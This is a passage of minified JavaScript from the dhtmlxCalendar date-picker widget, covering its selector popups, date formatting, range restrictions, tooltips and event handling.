Date(h._activeDate.getTime())]);h._hideSelector();if(h._selectorMode==1){h._updateVisibleMinutes(true);h._selectorMode=2;h._showSelector(\"minutes\",h._sel._x,h._sel._y,\"selector_minutes\",true);h._updateActiveMinutes();return}else{h._selectorMode=1}}else{h._hideSelector();h._activeDate.setMinutes(w._minutes);h._updateActiveMinutes();h.callEvent(\"onTimeChange\",[new Date(h._activeDate.getTime())])}h._updateVisibleMinutes();h._doOnSelectorChange()}};if(this.conf.touch==true){this.rsCont.ontouchstart=this.rsCont.onclick}}this._sel._ta[D]=true};this._showSelector=function(w,q,A,v,a){if(a===true&&this._sel!=null&&this._isSelectorVisible()&&w==this._sel._t){this._hideSelector();return}if(this.conf.skin==\"dhx_terrace\"){q+=12}if(!this._sel||!this._sel._ta[w]){this._initSelector(w,v)}if(w!=this._sel._t&&this._sel._t==\"minutes\"&&this._minutesInterval==1){this.contTime.firstChild.firstChild.childNodes[3].innerHTML=this.getFormatedDate(\"%i\")}this._sel._x=q;this._sel._y=A;this._sel.style.visibility=\"hidden\";this._sel.style.display=\"\";this._selCover.style.width=this.base.offsetWidth-2+\"px\";this._selCover.style.top=this.contMonth.offsetHeight+\"px\";this._selCover.style.height=this.contDates.offsetHeight+this.contDays.offsetHeight-1+\"px\";this._selCover.style.display=\"\";this._sel._t=w;this._sel.className=\"dhtmlxcalendar_selector_obj dhtmlxcalendar_\"+v;this._sel.childNodes[0].firstChild.firstChild.childNodes[0].style.display=this._sel.childNodes[0].firstChild.firstChild.childNodes[2].style.display=(w==\"year\"?\"\":\"none\");var u=Math.max(0,q-Math.round(this._sel.offsetWidth/2));if(u+this._sel.offsetWidth>this._sel.parentNode.offsetWidth){u=this._sel.parentNode.offsetWidth-this._sel.offsetWidth}this._sel.style.left=u+\"px\";if(w==\"hours\"||w==\"minutes\"){this._sel.style.top=A-this._sel.offsetHeight+\"px\"}else{this._sel.style.top=A+\"px\"}this._sel.childNodes[1].style.width=this._sel.childNodes[0].offsetWidth+\"px\";this._sel.style.visibility=\"visible\";this._doOnSelectorShow(w)};this._doOnSelectorShow=function(a){if(a==\"month\"){this._updateActiveMonth()}if(a==\"year\"){this._updateYearsList(this._activeMonth)}if(a==\"hours\"){this._updateActiveHours()}if(a==\"minutes\"){this._updateActiveMinutes()}};this._hideSelector=function(a){if(!this._sel){return}this._sel.style.display=\"none\";this._sel.style.visible=\"hidden\";this._selCover.style.display=\"none\";if(this._sel._t==\"minutes\"&&this._minutesInterval==1){this.contTime.firstChild.firstChild.childNodes[3].innerHTML=this.getFormatedDate(\"%i\");this._unloadSelector(\"minutes\")}};this._isSelectorVisible=function(){if(!this._sel){return false}return(this._sel.style.display!=\"none\")};this._doOnSelectorChange=function(a){this.callEvent(\"onChange\",[new Date(this._activeMonth.getFullYear(),this._activeMonth.getMonth(),this._activeDate.getDate(),this._activeDate.getHours(),this._activeDate.getMinutes(),this._activeDate.getSeconds()),a===true])};this._clearSelHover=function(){if(!this._selHover){return}this._selHover.className=String(this._selHover.className.replace(/dhtmlxcalendar_selector_cell_hover/gi,\"\"));this._selHover=null};this._unloadSelector=function(u){if(!this._sel){return}if(!this._sel._ta[u]){return}if(u==\"month\"){this.msCont.onclick=this.msCont.ontouchstart=null;this._msActive=null;for(var q in this._msCells){this._msCells[q]._cell=null;this._msCells[q]._month=null;this._msCells[q].parentNode.removeChild(this._msCells[q]);this._msCells[q]=null}this._msCells=null;while(this.msCont.childNodes.length>0){this.msCont.removeChild(this.msCont.lastChild)}this.msCont.parentNode.removeChild(this.msCont);this.msCont=null}if(u==\"year\"){this.ysCont.onclick=this.ysCont.ontouchstart=null;for(var q in this._ysCells){this._ysCells[q]._cell=null;this._ysCells[q]._year=null;this._ysCells[q].parentNode.removeChild(this._ysCells[q]);this._ysCells[q]=null}this._ysCells=null;while(this.ysCont.childNodes.length>0){this.ysCont.removeChild(this.ysCont.lastChild)}this.ysCont.parentNode.removeChild(this.ysCont);this.ysCont=null}if(u==\"hours\"){this.hsCont.onclick=this.hsCont.ontouchstart=null;this._hsActive=null;for(var q in this._hsCells){this._hsCells[q]._cell=null;this._hsCells[q]._hours=null;this._hsCells[q].parentNode.removeChild(this._hsCells[q]);this._hsCells[q]=null}this._hsCells=null;while(this.hsCont.childNodes.length>0){this.hsCont.removeChild(this.hsCont.lastChild)}this.hsCont.parentNode.removeChild(this.hsCont);this.hsCont=null}if(u==\"minutes\"){this.rsCont.onclick=this.rsCont.ontouchstart=null;this._rsActive=null;for(var q in this._rsCells){this._rsCells[q]._cell=null;this._rsCells[q]._minutes=null;this._rsCells[q].parentNode.removeChild(this._rsCells[q]);this._rsCells[q]=null}this._rsCells=null;while(this.rsCont.childNodes.length>0){this.rsCont.removeChild(this.rsCont.lastChild)}this.rsCont.parentNode.removeChild(this.rsCont);this.rsCont=null}this._sel._ta[u]=null};this.setMinutesInterval=function(a){if(!(a==1||a==5||a==10||a==15)){return}this._minutesInterval=a;this._unloadSelector(\"minutes\")};this._updateActiveMonth=function(){if(typeof(this._msActive)!=\"undefined\"&&typeof(this._msCells[this._msActive])!=\"undefined\"){this._msCells[this._msActive].className=\"dhtmlxcalendar_selector_cell\"}this._msActive=this._activeMonth.getMonth();this._msCells[this._msActive].className=\"dhtmlxcalendar_selector_cell dhtmlxcalendar_selector_cell_active\"};this._updateActiveYear=function(){var a=this._activeMonth.getFullYear();if(this._ysCells[a]){this._ysCells[a].className=\"dhtmlxcalendar_selector_cell dhtmlxcalendar_selector_cell_active\"}};this._updateYearsList=function(A){for(var v in this._ysCells){this._ysCells[v]=null;delete this._ysCells[v]}var x=12*Math.floor(A.getFullYear()/12);for(var y=0;y<4;y++){for(var u=0;u<3;u++){this.ysCont.childNodes[y].childNodes[u].innerHTML=x;this.ysCont.childNodes[y].childNodes[u]._year=x;this.ysCont.childNodes[y].childNodes[u].className=\"dhtmlxcalendar_selector_cell\";this._ysCells[x++]=this.ysCont.childNodes[y].childNodes[u]}}this._updateActiveYear()};this._scrollYears=function(a){var u=(a<0?this.ysCont.firstChild.firstChild._year:this.ysCont.lastChild.lastChild._year)+a;var q=new Date(u,this._activeMonth.getMonth(),1,0,0,0,0);this._updateYearsList(q)};this._updateActiveHours=function(){if(typeof(this._hsActive)!=\"undefined\"&&typeof(this._hsCells[this._hsActive])!=\"undefined\"){this._hsCells[this._hsActive].className=\"dhtmlxcalendar_selector_cell\"}this._hsActive=this._activeDate.getHours();this._hsCells[this._hsActive].className=\"dhtmlxcalendar_selector_cell dhtmlxcalendar_selector_cell_active\"};this._updateVisibleHours=function(){this.contTime.firstChild.firstChild.childNodes[1].innerHTML=this._fixLength(this._activeDate.getHours(),2)};this._updateActiveMinutes=function(){if(this._rsActive!=null&&typeof(this._rsActive)!=\"undefined\"&&typeof(this._rsCells[this._rsActive])!=\"undefined\"){this._rsCells[this._rsActive].className=\"dhtmlxcalendar_selector_cell\"}if(this._minutesInterval==1){this._rsActive=(this.getFormatedDate(\"%i\").toString()).charAt(this._selectorMode==1?0:1)}else{this._rsActive=this._activeDate.getMinutes()}if(typeof(this._rsCells[this._rsActive])!=\"undefined\"){this._rsCells[this._rsActive].className=\"dhtmlxcalendar_selector_cell dhtmlxcalendar_selector_cell_active\"}};this._updateVisibleMinutes=function(q){var a=this._fixLength(this._activeDate.getMinutes(),2).toString();if(q==true){a=a.charAt(0)+\"<span class='dhtmlxcalendar_selected_date'>\"+a.charAt(1)+\"</span>\"}this.contTime.firstChild.firstChild.childNodes[3].innerHTML=a;if(q==true){this.contTime.firstChild.firstChild.childNodes[3].lastChild._par=true}};this._fixLength=function(a,q){while(String(a).length<q){a=\"0\"+String(a)}return a};this._dateFormat=\"\";this._dateFormatRE=null;this.setDateFormat=function(w){var v={};if(this._strToDate!=null){for(var q in this.i){if(this.i[q].input!=null&&this.i[q].input.value.length>0){var x=this._strToDate(this.i[q].input.value,this._dateFormat||this.langData[this.lang].dateformat||\"%Y-%m-%d\");if(x instanceof Date){v[q]=x}}}}this._dateFormat=w;var u=String(this._dateFormat).replace(/%[a-zA-Z]+/g,function(a){var y=a.replace(/%/,\"\");switch(y){case\"n\":case\"h\":case\"j\":case\"g\":case\"G\":return\"\\\\d{1,2}\";case\"m\":case\"d\":case\"H\":case\"i\":case\"s\":case\"y\":return\"\\\\d{2}\";case\"Y\":return\"\\\\d{4}\";case\"M\":return\"(\"+h.langData[h.lang].monthesSNames.join(\"|\").toLowerCase()+\"){1,}\";case\"F\":return\"(\"+h.langData[h.lang].monthesFNames.join(\"|\").toLowerCase()+\"){1,}\";case\"D\":return\"[a-z]{2}\";case\"a\":case\"A\":return\"AM|PM\";case\"u\":return\"\\\\d{1,6}\";case\"P\":return\"[\\\\+\\\\-]\\\\d{1,2}\\\\:\\\\d{1,2}\"}return a});this._dateFormatRE=new RegExp(u,\"i\");for(var q in v){this.i[q].input.value=this._dateToStr(v[q])}v=null};this.setDateFormat(this.langData[this.lang].dateformat||\"%Y-%m-%d\");this._updateDateStr=function(q){if(!this._dateFormatRE||!q.match(this._dateFormatRE)){return}if(q==this.getFormatedDate()){return}var a=this._strToDate(q);if(!(a instanceof Date)){return}if(this.checkEvent(\"onBeforeChange\")){if(!this.callEvent(\"onBeforeChange\",[new Date(a.getFullYear(),a.getMonth(),a.getDate(),a.getHours(),a.getMinutes(),a.getSeconds())])){if(this.i!=null&&this._activeInp!=null&&this.i[this._activeInp]!=null&&this.i[this._activeInp].input!=null){this.i[this._activeInp].input.value=this.getFormatedDate()}return}}this._nullDate=false;this._activeDate=a;this._drawMonth(this._nullDate?new Date():this._activeDate);this._updateVisibleMinutes();this._updateVisibleHours();if(this._sel&&this._isSelectorVisible()){this._doOnSelectorShow(this._sel._t)}this._doOnSelectorChange(true)};this.showMonth=function(a){if(typeof(a)==\"string\"){a=this._strToDate(a)}if(!(a instanceof Date)){return}this._drawMonth(a)};this.setFormatedDate=function(w,x,q,v){var u=this._strToDate(x,w);if(v){return u}this.setDate(u)};this.getFormatedDate=function(q,a){if(!(a&&a instanceof Date)){if(this._nullDate){return\"\"}a=new Date(this._activeDate)}return this._dateToStr(a,q)};this.getWeekNumber=function(x){if(typeof(x)==\"string\"){x=this._strToDate(x)}if(!(x instanceof Date)){return\"Invalid Date\"}if(typeof(this._ftDay)==\"undefined\"){this._ftDay=4}var F=this._wStart;var w=F+7;var E=4;var u=new Date(x.getFullYear(),0,1,0,0,0,0);var v=u.getDay();if(v==0){v=7}if(E<F){E+=7;v+=7}var C=0;if(v>=F&&v<=E){}else{C=1}var A=v-F;var D=new Date(x.getFullYear(),0,1-A+C*7,0,0,0,0);var I=604800000;var q=new Date(x.getFullYear(),x.getMonth(),x.getDate()+1,0,0,0,0);var H=Math.ceil((q.getTime()-D.getTime())/I);if(H==0){var y=new Date(x.getFullYear(),x.getMonth(),x.getDate(),0,0,0,0);var a=y.getDay()-this._wStart;if(a<0){a=a+7}y.setDate(y.getDate()-a);H=this.getWeekNumber(y)}return H};this.showWeekNumbers=function(){this.base.firstChild.className=\"dhtmlxcalendar_wn\"};this.hideWeekNumbers=function(){this.base.firstChild.className=\"\"};this.show=function(u){if(!u&&this._hasParent){this._show();return}if(typeof(u)==\"object\"&&typeof(u._dhtmlxcalendar_uid)!=\"undefined\"&&this.i[u._dhtmlxcalendar_uid]==u){this._show(u._dhtmlxcalendar_uid);return}if(typeof(u)==\"undefined\"){for(var q in this.i){if(!u){u=q}}}if(!u){return}this._show(u)};this.hide=function(){if(this._isVisible()){this._hide()}};this.isVisible=function(){return this._isVisible()};this._activeInp=null;this.pos=\"bottom\";this.setPosition=function(a,q){this._px=null;this._py=null;if(a==\"right\"||a==\"bottom\"){this.pos=a}else{this.pos=\"int\";if(typeof(a)!=\"undefined\"&&!isNaN(a)){this.base.style.left=a+\"px\";this._px=a}if(typeof(q)!=\"undefined\"&&!isNaN(q)){this.base.style.top=q+\"px\";this._py=q}this._ifrSize()}};this._show=function(A,a){if(a===true&&this._activeInp==A&&this._isVisible()){this._hide();return}this.base.style.visibility=\"hidden\";this.base.style.display=\"\";if(!A){if(this._px&&this._py){this.base.style.left=this._px+\"px\";this.base.style.top=this._py+\"px\"}else{this.base.style.left=\"0px\";this.base.style.top=\"0px\"}}else{if(this.base.className.indexOf(\"dhtmlxcalendar_in_input\")==-1){this.base.className+=\" dhtmlxcalendar_in_input\"}var v=(this.i[A].input||this.i[A].button);var q=(navigator.appVersion.indexOf(\"MSIE\")!=-1);var w=Math.max((q?document.documentElement:document.getElementsByTagName(\"html\")[0]).scrollTop,document.body.scrollTop);var u=w+(q?Math.max(document.documentElement.clientHeight||0,document.documentElement.offsetHeight||0,document.body.clientHeight||0):window.innerHeight);if(this.pos==\"right\"){this.base.style.left=this._getLeft(v)+v.offsetWidth+\"px\";this.base.style.top=Math.min(this._getTop(v),u-this.base.offsetHeight)+\"px\"}else{if(this.pos==\"bottom\"){var y=this._getTop(v)+v.offsetHeight+1;if(y+this.base.offsetHeight>u){var x=this._getTop(v)-this.base.offsetHeight;if(x>=-20){y=x}}this.base.style.left=this._getLeft(v)+\"px\";this.base.style.top=y+\"px\"}else{this.base.style.left=(this._px||0)+\"px\";this.base.style.top=(this._py||0)+\"px\"}}this._activeInp=A;v=null}this._hideSelector();this.base.style.visibility=\"visible\";this.base.style.zIndex=window.dhx4.zim.reserve(this.conf.zi);this._ifrSize();if(this._ifr){this._ifr.style.display=\"\"}this.callEvent(\"onShow\",[])};this._hide=function(){this._hideSelector();this.base.style.display=\"none\";window.dhx4.zim.clear(this.conf.zi);if(this.base.className.indexOf(\"dhtmlxcalendar_in_input\")>=0){this.base.className=this.base.className.replace(/\\s{0,}dhtmlxcalendar_in_input/gi,\"\")}this._activeInp=null;if(this._ifr){this._ifr.style.display=\"none\"}this.callEvent(\"onHide\",[])};this._isVisible=function(){return(this.base.style.display!=\"none\")};this._getLeft=function(a){return this._posGetOffset(a).left};this._getTop=function(a){return this._posGetOffset(a).top};this._posGetOffsetSum=function(a){var u=0,q=0;while(a){u=u+parseInt(a.offsetTop);q=q+parseInt(a.offsetLeft);a=a.offsetParent}return{top:u,left:q}};this._posGetOffsetRect=function(v){var y=v.getBoundingClientRect();var A=document.body;var q=document.documentElement;var a=window.pageYOffset||q.scrollTop||A.scrollTop;var w=window.pageXOffset||q.scrollLeft||A.scrollLeft;var x=q.clientTop||A.clientTop||0;var C=q.clientLeft||A.clientLeft||0;var D=y.top+a-x;var u=y.left+w-C;return{top:Math.round(D),left:Math.round(u)}};this._posGetOffset=function(a){return this[a.getBoundingClientRect?\"_posGetOffsetRect\":\"_posGetOffsetSum\"](a)};this._rangeActive=false;this._rangeFrom=null;this._rangeTo=null;this._rangeSet={};this.setInsensitiveDays=function(v){var a=this._extractDates(v);for(var u=0;u<a.length;u++){this._rangeSet[new Date(a[u].getFullYear(),a[u].getMonth(),a[u].getDate(),0,0,0,0).getTime()]=true}this._drawMonth(this._activeMonth)};this.clearInsensitiveDays=function(){this._clearRangeSet();this._drawMonth(this._activeMonth)};this._holidays={};this.setHolidays=function(u){if(u==null){this._clearHolidays()}else{if(u!=null){var a=this._extractDates(u);for(var v=0;v<a.length;v++){this._holidays[new Date(a[v].getFullYear(),a[v].getMonth(),a[v].getDate(),0,0,0,0).getTime()]=true}}}this._drawMonth(this._activeMonth)};this._extractDates=function(v){if(typeof(v)==\"string\"||v instanceof Date){v=[v]}var u=[];for(var x=0;x<v.length;x++){if(typeof(v[x])==\"string\"){var y=v[x].split(\",\");for(var a=0;a<y.length;a++){u.push(this._strToDate(y[a]))}}else{if(v[x] instanceof Date){u.push(v[x])}}}return u};this._clearRange=function(){this._rangeActive=false;this._rangeType=null;this._rangeFrom=null;this._rangeTo=null};this._clearRangeSet=function(){for(var q in this._rangeSet){this._rangeSet[q]=null;delete this._rangeSet[q]}};this._clearHolidays=function(){for(var q in this._holidays){this._holidays[q]=null;delete this._holidays[q]}};this._isOutOfRange=function(q){if(this._rangeSet[q]==true){return true}if(this._rangeActive){if(this._rangeType==\"in\"&&(q<this._rangeFrom||q>this._rangeTo)){return true}if(this._rangeType==\"out\"&&(q>=this._rangeFrom&&q<=this._rangeTo)){return true}if(this._rangeType==\"from\"&&q<this._rangeFrom){return true}if(this._rangeType==\"to\"&&q>this._rangeTo){return true}}var a=new Date(q);if(this._rangeWeek){if(this._rangeWeekData[a.getDay()]===true){return true}}if(this._rangeMonth){if(this._rangeMonthData[a.getDate()]===true){return true}}if(this._rangeYear){if(this._rangeYearData[a.getMonth()+\"_\"+a.getDate()]===true){return true}}return false};this.clearSensitiveRange=function(){this._clearRange();this._drawMonth(this._activeMonth)};this.setSensitiveRange=function(v,u,a){var q=false;if(v!=null&&u!=null){if(!(v instanceof Date)){v=this._strToDate(v)}if(!(u instanceof Date)){u=this._strToDate(u)}if(v.getTime()>u.getTime()){return}this._rangeFrom=new Date(v.getFullYear(),v.getMonth(),v.getDate(),0,0,0,0).getTime();this._rangeTo=new Date(u.getFullYear(),u.getMonth(),u.getDate(),0,0,0,0).getTime();this._rangeActive=true;this._rangeType=\"in\";q=true}if(!q&&v!=null&&u==null){if(!(v instanceof Date)){v=this._strToDate(v)}this._rangeFrom=new Date(v.getFullYear(),v.getMonth(),v.getDate(),0,0,0,0).getTime();this._rangeTo=null;if(a===true){this._rangeFrom++}this._rangeActive=true;this._rangeType=\"from\";q=true}if(!q&&v==null&&u!=null){if(!(u instanceof Date)){u=this._strToDate(u)}this._rangeFrom=null;this._rangeTo=new Date(u.getFullYear(),u.getMonth(),u.getDate(),0,0,0,0).getTime();if(a===true){this._rangeTo--}this._rangeActive=true;this._rangeType=\"to\";q=true}if(q){this._drawMonth(this._activeMonth)}};this.setInsensitiveRange=function(q,a){if(q!=null&&a!=null){if(!(q instanceof Date)){q=this._strToDate(q)}if(!(a instanceof Date)){a=this._strToDate(a)}if(q.getTime()>a.getTime()){return}this._rangeFrom=new Date(q.getFullYear(),q.getMonth(),q.getDate(),0,0,0,0).getTime();this._rangeTo=new Date(a.getFullYear(),a.getMonth(),a.getDate(),0,0,0,0).getTime();this._rangeActive=true;this._rangeType=\"out\";this._drawMonth(this._activeMonth);return}if(q!=null&&a==null){this.setSensitiveRange(null,q,true);return}if(q==null&&a!=null){this.setSensitiveRange(a,null,true);return}};this.disableDays=function(y,x){if(y==\"week\"){if(typeof(x)!=\"object\"&&typeof(x.length)==\"undefined\"){x=[x]}if(!this._rangeWeekData){this._rangeWeekData={}}for(var u in this._rangeWeekData){this._rangeWeekData[u]=false;delete this._rangeWeekData[u]}for(var w=0;w<x.length;w++){this._rangeWeekData[x[w]]=true;if(x[w]==7){this._rangeWeekData[0]=true}}this._rangeWeek=true}if(y==\"month\"){if(typeof(x)!=\"object\"&&typeof(x.length)==\"undefined\"){x=[x]}if(!this._rangeMonthData){this._rangeMonthData={}}for(var u in this._rangeMonthData){this._rangeMonthData[u]=false;delete this._rangeMonthData[u]}for(var w=0;w<x.length;w++){this._rangeMonthData[x[w]]=true}this._rangeMonth=true}if(y==\"year\"){var v=this._extractDates(x);if(!this._rangeYearData){this._rangeYearData={}}for(var u in this._rangeYearData){this._rangeYearData[u]=false;delete this._rangeYearData[u]}for(var w=0;w<v.length;w++){this._rangeYearData[v[w].getMonth()+\"_\"+v[w].getDate()]=true}this._rangeYear=true}this._drawMonth(this._activeMonth)};this.enableDays=function(a){if(a==\"week\"){this._rangeWeek=false}if(a==\"month\"){this._rangeMonth=false}if(a==\"year\"){this._rangeYear=false}this._drawMonth(this._activeMonth)};this._tipData={};this._tipTM=null;this._tipTMTime=400;this._tipEvs=false;this._tipPopup=null;this._tipCellDate=null;this._tipCellDim=null;this.setTooltip=function(v,y,A,a){var w=this._extractDates(v);for(var x=0;x<w.length;x++){var u=new Date(w[x].getFullYear(),w[x].getMonth(),w[x].getDate(),0,0,0,0).getTime();this._tipData[u]={text:y,showIcon:A,usePopup:a}}this._drawMonth(this._activeMonth)};this.clearTooltip=function(u){var v=this._extractDates(u);for(var w=0;w<v.length;w++){var a=new Date(v[w].getFullYear(),v[w].getMonth(),v[w].getDate(),0,0,0,0).getTime();this._tipData[a]=null;delete this._tipData[a]}this._drawMonth(this._activeMonth)};this._initTooltipPopup=function(){if(this._tipEvs){return}this.attachEvent(\"onMouseOver\",function(q){var a=new Date(q.getFullYear(),q.getMonth(),q.getDate(),0,0,0,0).getTime();if(this._tipData[a]!=null){if(this._tipTM){window.clearTimeout(this._tipTM)}this._tipCellDate=q;this._tipCellDim=this.getCellDimension(q);this._tipText=this._tipData[a].text;this._tipTM=window.setTimeout(this._showTooltipPopup,this._tipTMTime)}});this.attachEvent(\"onMouseOut\",this._hideTooltipPopup);this._tipEvs=true};this._showTooltipPopup=function(v,a,A,q,u){if(!h._tipPopup){h._tipPopup=new dhtmlXPopup({mode:\"top\"})}h._tipPopup.attachHTML(h._tipText);h._tipPopup.show(h._tipCellDim.x,h._tipCellDim.y,h._tipCellDim.w,h._tipCellDim.h);h.callEvent(\"onPopupShow\",[h._tipCellDate])};this._hideTooltipPopup=function(){if(this._tipTM){window.clearTimeout(this._tipTM)}if(this._tipPopup!=null&&this._tipPopup.isVisible()){this._tipPopup.hide();this.callEvent(\"onPopupHide\",[this._tipCellDate])}};this.getPopup=function(){return this._tipPopup};this.getCellDimension=function(v){if(typeof(v)==\"string\"){v=this._strToDate(v)}if(!(v instanceof Date)){return null}var x=new Date(v.getFullYear(),v.getMonth(),v.getDate(),0,0,0,0).getTime();var u=null;for(var y=0;y<this.contDates.childNodes.length;y++){for(var a=0;a<this.contDates.childNodes[y].childNodes.length;a++){var A=this.contDates.childNodes[y].childNodes[a];if(A._date!=null&&A._date.getTime()==x){u={x:this._getLeft(A),y:this._getTop(A),w:A.offsetWidth,h:A.offsetHeight}}A=null}}return u};this._updateFromInput=function(a){if(this._nullInInput&&((a.value).replace(/\\s/g,\"\")).length==0){if(this.checkEvent(\"onBeforeChange\")){if(!this.callEvent(\"onBeforeChange\",[null])){if(this.i!=null&&this._activeInp!=null&&this.i[this._activeInp]!=null&&this.i[this._activeInp].input!=null){this.i[this._activeInp].input.value=this.getFormatedDate()}return}}this.setDate(null)}else{this._updateDateStr(a.value)}a=null};this._doOnClick=function(q){q=q||event;var a=(q.target||q.srcElement);if(a._dhtmlxcalendar_uid&&a._dhtmlxcalendar_uid!=h._activeInp&&h._isVisible()&&h._activeInp){h._hide();return}if(!a._dhtmlxcalendar_uid||!h.i[a._dhtmlxcalendar_uid]){if(h._isSelectorVisible()){h._hideSelector()}else{if(!h._hasParent&&h._isVisible()){h._hide()}}}};this._doOnKeyDown=function(a){a=a||event;if(a.keyCode==27||a.keyCode==13){if(h._isSelectorVisible()){h._hideSelector()}else{if(h._isVisible()&&!h._hasParent){h._hide()}}}};this._doOnInpClick=function(q){q=q||event;if(q.type==\"touchstart\"&&q.preventDefault!=null){q.preventDefault()}var a=(q.target||q.srcElement);if(!a._dhtmlxcalendar_uid){return}if(!h._listenerEnabled){h._updateFromInput(a)}h._show(a._dhtmlxcalendar_uid,true)};this._doOnInpKeyUp=function(q){q=q||event;var a=(q.target||q.srcElement);if(q.keyCode==13||!a._dhtmlxcalendar_uid){return}if(!h._listenerEnabled){h._updateFromInput(a)}};this._doOnBtnClick=function(q){q=q||event;if(q.type==\"touchstart\"&&q.preventDefault!=null){q.preventDefault()}var a=(q.target||q.srcElement);if(!a._dhtmlxcalendar_uid){return}if(h.i[a._dhtmlxcalendar_uid].input!=null){h._updateFromInput(h.i[a._dhtmlxcalendar_uid].input)}h._show(a._dhtmlxcalendar_uid,true)};this._doOnUnload=function(){if(h&&h.unload){h.unload()}};if(typeof(window.addEventListener)==\"function\"){document.body.addEventListener(\"click\",h._doOnClick,false);window.addEventListener(\"keydown\",h._doOnKeyDown,false);window.addEventListener(\"unload\",h._doOnUnload,false);if(this.conf.touch==true){document.body.addEventListener(\"touchstart\",h._doOnClick,false)}}else{document.body.attachEvent(\"onclick\",h._doOnClick);document.body.attachEvent(\"onkeydown\",h._doOnKeyDown);window.attachEvent(\"onunload\",h._doOnUnload)}this.attachObj=function(u){var q=window.dhx4.newId();if(typeof(u)==\"string\"){this.i[q]={input:document.getElementById(u)}}else{if(typeof(u.tagName)!=\"undefined\"){this.i[q]={input:u}}else{if(typeof(u)==\"object\"&&(u.input!=null||u.button!=null)){this.i[q]={};if(u.input!=null){this.i[q].input=(typeof(u.input)==\"string\"?document.getElementById(u.input):u.input)}if(u.button!=null){this.i[q].button=(typeof(u.button)==\"string\"?document.getElementById(u.button):u.button)}}}}this._attachEventsToObject(q);return q};this.detachObj=function(v){var u=null;if(this.i[v]!=null){u=v}else{if(typeof(v)==\"string\"){v=document.getElementById(v);u=v._dhtmlxcalendar_uid}else{if(typeof(v.tagName)!=\"undefined\"){u=v._dhtmlxcalendar_uid}else{if(typeof(v)==\"object\"&&(v.input!=null||v.button!=null)){if(u==null&&v.input!=null){u=(typeof(v.input)==\"string\"?document.getElementById(v.input):v.input)._dhtmlxcalendar_uid}if(u==null&&v.button!=null){u=(typeof(v.button)==\"string\"?document.getElementById(v.button):v.button)._dhtmlxcalendar_uid}}}}}if(u!=null&&this.i[u]!=null){this._detachEventsFromObject(u);for(var q in this.i[q]){this.i[u][q]._dhtmlxcalendar_uid=null;this.i[u][q]=null;delete this.i[u][q]}this.i[u]=null;delete this.i[u];return true}return false};this._attachEventsToObject=function(q){if(this.i[q].button!=null){this.i[q].button._dhtmlxcalendar_uid=q;if(typeof(window.addEventListener)==\"function\"){this.i[q].button.addEventListener(\"click\",h._doOnBtnClick,false);if(this.conf.touch==true){this.i[q].button.addEventListener(\"touchstart\",h._doOnBtnClick,false)}}else{this.i[q].button.attachEvent(\"onclick\",h._doOnBtnClick)}}else{if(this.i[q].input!=null){this.i[q].input._dhtmlxcalendar_uid=q;if(typeof(window.addEventListener)==\"function\"){this.i[q].input.addEventListener(\"click\",h._doOnInpClick,false);this.i[q].input.addEventListener(\"keyup\",h._doOnInpKeyUp,false);if(this.conf.touch==true){this.i[q].input.addEventListener(\"touchstart\",h._doOnInpClick,false)}}else{this.i[q].input.attachEvent(\"onclick\",h._doOnInpClick);this.i[q].input.attachEvent(\"onkeyup\",h._doOnInpKeyUp)}}}};this._detachEventsFromObject=function(q){if(this.i[q].button!=null){if(typeof(window.addEventListener)==\"function\"){this.i[q].button.removeEventListener(\"click\",h._doOnBtnClick,false);if(this.conf.touch==true){this.i[q].button.removeEventListener(\"touchstart\",h._doOnBtnClick,false)}}else{this.i[q].button.detachEvent(\"onclick\",h._doOnBtnClick)}}else{if(this.i[q].input!=null){if(typeof(window.addEventListener)==\"function\"){this.i[q].input.removeEventListener(\"click\",h._doOnInpClick,false);this.i[q].input.removeEventListener(\"keyup\",h._doOnInpKeyUp,false);if(this.conf.touch==true){this.i[q].input.removeEventListener(\"touchstart\",h._doOnInpClick,false)}}else{this.i[q].input.detachEvent(\"onclick\",h._doOnInpClick);this.i[q].input.detachEvent(\"onkeyup\",h._doOnInpKeyUp)}}}};this.enableListener=function(a){if(!a){return}if(typeof(window.addEventListener)==\"function\"){a.addEventListener(\"focus\",h._listenerEvFocus,false);a.addEventListener(\"blur\",h._listenerEvBlur,false)}else{a.attachEvent(\"onfocus\",h._listenerEvFocus);a.attachEvent(\"onblur\",h._listenerEvBlur)}a=null};this.disableListener=function(a){if(!a){return}a._f0=false;if(this._tmListener){window.clearTimeout(this._tmListener)}if(typeof(window.addEventListener)==\"function\"){a.removeEventListener(\"focus\",h._listenerEvFocus,false);a.removeEventListener(\"blur\",h._listenerEvBlur,false)}else{a.detachEvent(\"onfocus\",h._listenerEvFocus);a.detachEvent(\"onblur\",h._listenerEvBlur)}a=null};this._startListener=function(a){if(this._tmListener){window.clearTimeout(this._tmListener)}if(typeof(a._v1)==\"undefined\"){a._v1=a.value}if(a._v1!=a.value){this._updateFromInput(a);a._v1=a.value}if(a._f0){this._tmListener=window.setTimeout(function(){h._startListener(a)},100)}};this._listenerEvFocus=function(q){q=q||event;var a=q.target||q.srcElement;a._f0=true;h._startListener(a);a=null};this._listenerEvBlur=function(q){q=q||event;var a=q.target||q.srcElement;a._f0=false;a=null};for(var n in this.i){this._attachEventsToObject(n)}window.dhx4._eventable(this);this._evOnArrowClick=function(a){return this.callEvent(\"onArrowClick\",a)};this._evOnClick=function(a){return this.callEvent(\"onClick\",a)};this._evOnMouseOut=function(a){return this.callEvent(\"onMouseOut\",a)};this._evOnMouseOver=function(a){return this.callEvent(\"onMouseOver\",a)};this.unload=function(){this._activeDate=null;this._activeDateCell=null;this._activeInp=null;this._activeMonth=null;this._dateFormat=null;this._dateFormatRE=null;this._lastHover=null;if(this._tmListener){window.clearTimeout(this._tmListener)}this._tmListener=null;if(typeof(window.addEventListener)==\"function\"){document.body.removeEventListener(\"click\",h._doOnClick,false);window.removeEventListener(\"keydown\",h._doOnKeyDown,false);window.removeEventListener(\"unload\",h._doOnUnload,false);if(this.conf.touch==true){document.body.removeEventListener(\"touchstart\",h._doOnClick,false)}}else{document.body.detachEvent(\"onclick\",h._doOnClick);document.body.detachEvent(\"onkeydown\",h._doOnKeyDown);window.detachEvent(\"onunload\",h._doOnKeyDown)}this._doOnClick=null;this._doOnKeyDown=null;this._doOnUnload=null;for(var q in this.i){this.i[q]._dhtmlxcalendar_uid=null;this._detachEventsFromObject(q);this.disableListener(this.i[q].input);this.i[q]=null;delete 